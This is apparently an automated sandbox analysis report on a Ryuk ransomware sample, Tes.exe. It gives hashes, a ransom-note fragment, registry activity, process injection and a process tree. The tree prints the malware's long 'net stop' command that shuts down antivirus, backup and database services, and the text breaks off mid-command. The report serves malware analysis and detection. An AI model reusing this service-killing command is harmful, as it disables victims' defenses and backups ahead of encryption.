Analysis
-
max time kernel
301s -
max time network
298s -
platform
windows10_x64 -
resource
win10v20210408 -
submitted
20-08-2021 06:37
Static task
static1
Behavioral task
behavioral1
Sample
Tes.exe
Resource
win7v20210410
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
Tes.exe
Resource
win10v20210408
windows10_x64
0 signatures
0 seconds
General
-
Target
Tes.exe
-
Size
154KB
-
MD5
a8e947ecf656a8cb91453e469705f574
-
SHA1
44428090dee86c656388ae49df65557fc5b7082d
-
SHA256
926a1cf61ac26f4b0bb0d1af623d1e22a98f4e53c34342ce20b245aa636d2c85
-
SHA512
6d8283073124cc671f152f332729c152d85fcba1e6dad45550ccdd713ce92df1554dae8d5980aa0fd6443eab33b5f9f22828051bfaf6111bfa95ffe05774da19
Score
10/10
Malware Config
Extracted
Path
C:\Users\Admin\Desktop\EncReadMe.html
Family
ryuk
Ransom Note
contact
balance of shadow universe
Ryuk
function info(){alert("INSTRUCTION:\r\nEmail: [email protected] \r\nWe will contact you shortly.");};
Emails
Signatures
-
Ryuk
Ransomware distributed via existing botnets, often Trickbot or Emotet.
-
Modifies extensions of user files 1 IoCs
Ransomware generally changes the extension on encrypted files.
description ioc Process File created C:\Users\Admin\Pictures\SendRemove.crw.enc Tes.exe -
Drops file in Windows directory 2 IoCs
description ioc Process File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe -
Kills process with taskkill 1 IoCs
pid Process 4076 taskkill.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Main browser_broker.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Main browser_broker.exe -
Modifies registry class 64 IoCs
description ioc Process Set value (data) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus\SignaturePolicy = 06000000 MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\Root\CTLs MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer\Main\OperationalData = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Privacy\ClearBrowsingHistoryOnStart = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\ReadingStorePending = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\Favorites MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\SyncIEFirstTimeFullScan = "1" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 709d6ca99e95d701 MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Rating\Rating Prompt Shown = "0" MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content\CachePrefix MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-DeviceId = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\Disallowed\CTLs MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\MigrationTime = 1d24df8b702cd701 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory\Extension = "5" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus\DynamicCodePolicy = 00000000 MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\OnlineHistory\NextBrowserDataLogTime = a0bb1314d195d701 MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url1 = "https://www.facebook.com/" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Extensible Cache MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modif = "1" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 9ba9edae9e95d701 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\trust\Certificates MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DummyPath MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\TypedUrlsComplete = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TabbedBrowsing\NewTabPage MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\Root MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus\CIPolicyState = "0" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Explorer\Main\OperationalData = "1" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CacheLimit = "256000" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DummyPath\dummySetting = "1" MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url4 = "https://login.live.com/" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content\CacheLimit = "256000" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ServiceUI MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\Active MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus\CIPolicyState = "0" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus\CIPolicyState = "0" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionLow = "395205405" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\Meta\generator$blogger MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\FlipAheadCompletedVersion = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListDOSTime = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CachePrefix MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\Active = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate\CRLs MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\Root\CRLs MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\ChromeMigration\MigrationTime = 1d24df8b702cd701 MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\DatabaseComplete = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\History MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\SubSysId = "0" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus\SignaturePolicy = 06000000 MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\LastClosedWidth = "874" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\Meta\generator$vBulletin 3 MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-SubSysId = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CacheLimit = "1" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modif = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VersionHigh = "0" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 925985c99e95d701 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BingPageData MicrosoftEdge.exe -
Runs net.exe
-
Runs ping.exe 1 TTPs 1 IoCs
pid Process 3924 PING.EXE -
Suspicious behavior: MapViewOfSection 4 IoCs
pid Process 4020 MicrosoftEdgeCP.exe 4020 MicrosoftEdgeCP.exe 4556 MicrosoftEdgeCP.exe 4556 MicrosoftEdgeCP.exe -
Suspicious use of AdjustPrivilegeToken 14 IoCs
description pid Process Token: SeDebugPrivilege 572 Tes.exe Token: SeDebugPrivilege 572 Tes.exe Token: SeDebugPrivilege 4076 taskkill.exe Token: SeDebugPrivilege 2784 MicrosoftEdge.exe Token: SeDebugPrivilege 2784 MicrosoftEdge.exe Token: SeDebugPrivilege 2784 MicrosoftEdge.exe Token: SeDebugPrivilege 2784 MicrosoftEdge.exe Token: SeDebugPrivilege 972 MicrosoftEdgeCP.exe Token: SeDebugPrivilege 972 MicrosoftEdgeCP.exe Token: SeDebugPrivilege 972 MicrosoftEdgeCP.exe Token: SeDebugPrivilege 972 MicrosoftEdgeCP.exe Token: SeDebugPrivilege 4108 MicrosoftEdgeCP.exe Token: SeDebugPrivilege 4108 MicrosoftEdgeCP.exe Token: SeDebugPrivilege 2784 MicrosoftEdge.exe -
Suspicious use of SetWindowsHookEx 6 IoCs
pid Process 2784 MicrosoftEdge.exe 4020 MicrosoftEdgeCP.exe 4020 MicrosoftEdgeCP.exe 4308 MicrosoftEdge.exe 4556 MicrosoftEdgeCP.exe 4556 MicrosoftEdgeCP.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 572 wrote to memory of 2784 572 Tes.exe 78 PID 572 wrote to memory of 2784 572 Tes.exe 78 PID 572 wrote to memory of 2784 572 Tes.exe 78 PID 2784 wrote to memory of 1380 2784 cmd.exe 80 PID 2784 wrote to memory of 1380 2784 cmd.exe 80 PID 2784 wrote to memory of 1380 2784 cmd.exe 80 PID 1380 wrote to memory of 3692 1380 net.exe 81 PID 1380 wrote to memory of 3692 1380 net.exe 81 PID 1380 wrote to memory of 3692 1380 net.exe 81 PID 2784 wrote to memory of 2100 2784 cmd.exe 82 PID 2784 wrote to memory of 2100 2784 cmd.exe 82 PID 2784 wrote to memory of 2100 2784 cmd.exe 82 PID 2100 wrote to memory of 2152 2100 net.exe 83 PID 2100 wrote to memory of 2152 2100 net.exe 83 PID 2100 wrote to memory of 2152 2100 net.exe 83 PID 2784 wrote to memory of 3832 2784 cmd.exe 84 PID 2784 wrote to memory of 3832 2784 cmd.exe 84 PID 2784 wrote to memory of 3832 2784 cmd.exe 84 PID 3832 wrote to memory of 4036 3832 net.exe 85 PID 3832 wrote to memory of 4036 3832 net.exe 85 PID 3832 wrote to memory of 4036 3832 net.exe 85 PID 2784 wrote to memory of 1684 2784 cmd.exe 86 PID 2784 wrote to memory of 1684 2784 cmd.exe 86 PID 2784 wrote to memory of 1684 2784 cmd.exe 86 PID 1684 wrote to memory of 2356 1684 net.exe 87 PID 1684 wrote to memory of 2356 1684 net.exe 87 PID 1684 wrote to memory of 2356 1684 net.exe 87 PID 2784 wrote to memory of 3000 2784 cmd.exe 88 PID 2784 wrote to memory of 3000 2784 cmd.exe 88 PID 2784 wrote to memory of 3000 2784 cmd.exe 88 PID 3000 wrote to memory of 3788 3000 net.exe 89 PID 3000 wrote to memory of 3788 3000 net.exe 89 PID 3000 wrote to memory of 3788 3000 net.exe 89 PID 2784 wrote to memory of 2312 2784 cmd.exe 90 PID 2784 wrote to memory of 2312 2784 cmd.exe 90 PID 2784 wrote to memory of 2312 2784 cmd.exe 90 PID 2312 wrote to memory of 2248 2312 net.exe 91 PID 2312 wrote to memory of 2248 2312 net.exe 91 PID 2312 wrote to memory of 2248 2312 net.exe 91 PID 2784 wrote to memory of 408 2784 cmd.exe 92 PID 2784 wrote to memory of 408 2784 cmd.exe 92 PID 2784 wrote to memory of 408 2784 cmd.exe 92 PID 408 wrote to memory of 2792 408 net.exe 93 PID 408 wrote to memory of 2792 408 net.exe 93 PID 408 wrote to memory of 2792 408 net.exe 93 PID 2784 wrote to memory of 2820 2784 cmd.exe 94 PID 2784 wrote to memory of 2820 2784 cmd.exe 94 PID 2784 wrote to memory of 2820 2784 cmd.exe 94 PID 2820 wrote to memory of 3088 2820 net.exe 95 PID 2820 wrote to memory of 3088 2820 net.exe 95 PID 2820 wrote to memory of 3088 2820 net.exe 95 PID 2784 wrote to memory of 4076 2784 cmd.exe 96 PID 2784 wrote to memory of 4076 2784 cmd.exe 96 PID 2784 wrote to memory of 4076 2784 cmd.exe 96 PID 4076 wrote to memory of 4008 4076 net.exe 97 PID 4076 wrote to memory of 4008 4076 net.exe 97 PID 4076 wrote to memory of 4008 4076 net.exe 97 PID 2784 wrote to memory of 2228 2784 cmd.exe 98 PID 2784 wrote to memory of 2228 2784 cmd.exe 98 PID 2784 wrote to memory of 2228 2784 cmd.exe 98 PID 2228 wrote to memory of 3456 2228 net.exe 99 PID 2228 wrote to memory of 3456 2228 net.exe 99 PID 2228 wrote to memory of 3456 2228 net.exe 99 PID 2784 wrote to memory of 3560 2784 cmd.exe 100
Processes
-
C:\Users\Admin\AppData\Local\Temp\Tes.exe"C:\Users\Admin\AppData\Local\Temp\Tes.exe"1⤵
- Modifies extensions of user files
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:572 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net stop Acronis VSS Provider /y & net stop Enterprise Client Service /y & net stop Sophos Agent /y & net stop Sophos AutoUpdate Service /y & net stop Sophos Clean Service /y & net stop Sophos Device Control Service /y & net stop Sophos File Scanner Service /y & net stop Sophos Health Service /y & net stop Sophos MCS Agent /y & net stop Sophos MCS Client /y & net stop Sophos Message Router /y & net stop Sophos SafeStore Service /y & net stop Sophos Protection System Service /y & net stop Sophos Web Control Service /y & net stop SQLsafe ?????????? ??????????? ?????? /y & net stop SQLsafe Filter Service /y & net stop Symantec System Recovery /y & net stop Veeam Backup Service Data Catalog /y & net stop AcronisAgent /y & net stop AcrSch2Svc /y & net stop Antivirus /y & net stop ARSM /y & net stop BackupExecAgentAccelerator /y & net stop BackupExecAgentBrowser /y & net stop BackupExecDeviceMediaService /y & net stop BackupExecJobEngine /y & net stop BackupExecManagementService /y & net stop BackupExecRPCService /y & net stop BackupExecVSSProvider /y & net stop bedbg /y & net stop DCAgent /y & net stop EPSecurityService /y & net stop EPUpdateService /y & net stop EraserSvc11710 /y & net stop EsgShKernel /y & net stop FA_Scheduler /y & net stop IISAdmin /y & net stop IMAP4Svc /y & net stop macmnsvc /y & net stop masvc /y & net stop MBAMService /y & net stop MBEndpointAgent /y & net stop McAfeeEngineService /y & net stop McAfeeFramework /y & net stop McAfeeFrameworkMcAfeeFramework /y & net stop McShield /y & net stop McTaskManager /y & net stop mfemms /y & net stop mfevtp /y & net stop MMS /y & net stop mozyprobackup /y & net stop MsDtsServer /y & net stop MsDtsServer100 /y & net stop MsDtsServer110 /y & net stop MSExchangeES /y & net stop MSExchangeIS /y & net stop MSExchangeMGMT /y & net stop MSExchangeMTA /y & net stop MSExchangeSA /y & net stop MSExchangeSRS /y & net stop MSOLAP $ SQL_2008 /y & net stop MSOLAP $ SYSTEM_BGC /y & net stop MSOLAP $ TPS /y & net stop MSOLAP $ TPSAMA /y & net stop MSSQL $ BKUPEXEC /y & net stop MSSQL $ ECWDB2 /y & net stop MSSQL $ PRACTICEMGT /y & net stop MSSQL $ PRACTTICEBGC /y & net stop MSSQL $ PROFXENGAGEMENT /y & net stop MSSQL $ SBSMONITORING /y & net stop MSSQL $ SHAREPOINT /y & net stop MSSQL $ SQL_2008 /y & net stop MSSQL $ SYSTEM_BGC /y & net stop MSSQL $ TPS /y & net stop MSSQL $ TPSAMA /y & net stop MSSQL $ VEEAMSQL2008R2 /y & net stop MSSQL $ VEEAMSQL2012 /y & net stop MSSQLFDLauncher /y & net stop MSSQLFDLauncher $ PROFXENGAGEMENT /y & net stop MSSQLFDLauncher $ SBSMONITORING /y & net stop MSSQLFDLauncher $ SHAREPOINT /y & net stop MSSQLFDLauncher $ SQL_2008 /y & net stop MSSQLFDLauncher $ SYSTEM_BGC /y & net stop MSSQLFDLauncher $ TPS /y & net stop MSSQLFDLauncher $ TPSAMA /y & net stop MSSQLSERVER /y & net stop MSSQLServerADHelper100 /y & net stop MSSQLServerOLAPService /y & net stop MySQL80 /y & net stop MySQL57 /y & net stop ntrtscan /y & net stop OracleClientCache80 /y & net stop PDVFSService /y & net stop POP3SVC /y & net stop ReportServer /y & net stop ReportServer $ SQL_2008 /y & net stop ReportServer $ SYSTEM_BGC /y & net stop ReportServer $ TPS /y & net stop ReportServer $ TPSAMA /y & net stop RESVC /y & net stop sacsvr /y & net stop SamSs /y & net stop SAVAdminService /y & net stop ????????? /y & net stop SDRSVC /y & net stop SepMasterService /y & net stop ShMonitor /y & net stop Smcinst /y & net stop SmcService /y & net stop SMTPSVC /y & net stop SNAC /y & net stop SntpService /y & net stop sophossps /y & net 